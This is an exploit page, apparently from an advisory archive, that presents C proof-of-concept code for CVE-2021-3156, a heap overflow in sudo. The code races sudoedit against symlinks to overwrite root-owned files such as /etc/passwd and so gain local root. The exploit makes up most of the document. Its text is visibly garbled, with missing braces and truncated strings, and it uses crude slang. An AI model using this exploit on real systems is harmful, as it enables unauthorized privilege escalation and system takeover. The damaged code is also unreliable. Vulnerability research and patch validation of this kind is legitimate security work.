Authored by nu11secur1ty, Ventsislav Varbanovski, r4j, cts | Site

Sudo versions prior to 1.9.5p2 suffer from buffer overflow and privilege escalation vulnerabilities.

advisories | CVE-2021-3156

# Exploit Title: Local Privilege Escalation - LPE
# Authors and Contributors: cts, help from r4j, debug by nu11secur1ty
# Date: 30.01.2021
# Vendor:
# Link:
# CVE: CVE-2021-3156

[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website:
[+] Source:

[Exploit Program Code]

// Exploit by @gf_256 aka cts
// With help from r4j
// Debug by @nu11secur1ty
// Original advisory by Baron Samedit of Qualys

// Tested on Ubuntu 18.04 and 20.04 & 20.04.01
// You will probably need to adjust RACE_SLEEP_TIME.

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <assert.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>

// !!! best value of this varies from system-to-system !!!
// !!! you will probably need to tune this !!!
#define RACE_SLEEP_TIME 10000

char *target_file;
char *src_file;

size_t query_target_size()
struct stat st;
stat(target_file, &st);
return st.st_size;

char* read_src_contents()
FILE* f = fopen(src_file, "rb");
if (!f) {
puts("oh no baby what are you doing :(");
fseek(f, 0, SEEK_END);
long fsize = ftell(f);
fseek(f, 0, SEEK_SET);
char *content = malloc(fsize + 1);
fread(content, 1, fsize, f);
return content;

char* get_my_username()
// getlogin can return incorrect result (for example, root under su)!
struct passwd *pws = getpwuid(getuid());
return strdup(pws->pw_name);

int main(int my_argc, char **my_argv)
puts("CVE-2021-3156 PoC by @gf_256");
puts("original advisory by Baron Samedit");

if (my_argc != 3) {
puts("./meme <target file> <src file>");
puts("Example: ./meme /etc/passwd my_fake_passwd_file");
return 1;
target_file = my_argv[1];
src_file = my_argv[2];
printf("we will overwrite %s with shit from %sn", target_file,

char* myusername = get_my_username();
printf("hi, my name is %sn", myusername);

size_t initial_size = query_target_size();
printf("%s is %zi big right nown", target_file, initial_size);

char* shit_to_write = read_src_contents();

char memedir[1000];
char my_symlink[1000];
char overflow[1000];

char* bigshit = calloc(1,0x10000);
memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the
write doesn't fail with bad address

char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "",

char *envp[] = {
"nnnnn", // put some fuckin newlines here to separate our real
contents from the junk

"[email protected]aaaaaaaaaaaa

puts("ok podracing time bitches");

// Boom =)
// for (int i = 0; i < 5000; i++)
for (int i = 0; i < 3000; i++) {
"ayylmaobigchungussssssssssss00000000000000000000000000%08d", i);
"11111111111111111111111111111111111111111111111111111111%s", memedir);
sprintf(my_symlink, "%s/%s", memedir, myusername);

if (access(memedir, F_OK) == 0) {
printf("dude, %s already exists, do it from a clean working
dirn", memedir);
return 1;

pid_t childpid = fork();
if (childpid) { // parent
mkdir(memedir, 0700);
symlink(target_file, my_symlink);
waitpid(childpid, 0, 0);
} else { // child
setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race
execve("/usr/bin/sudoedit", argv, envp); // noreturn
puts("execve fails?!");

if (query_target_size() != initial_size) {
puts("target file has a BRUH MOMENT!!!! SUCCess???");
system("xdg-open ''");
// ayy lmao
return 0;

puts("if all the meme dirs are owned by root, the usleep needs to be
puts("if they're all owned by you, the usleep needs to be increased");

return 0;


[Vulnerability Type]
Buffer Overflow Local Privilege Escalation

[CVE Reference]
Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege
escalation to root via "sudoedit -s"
and a command-line argument that ends with a single backslash character.

[Security Issue]
Taking control of the Linux system
Vulnerabilty version: before 1.9.5p2


[Conclusion and Fix]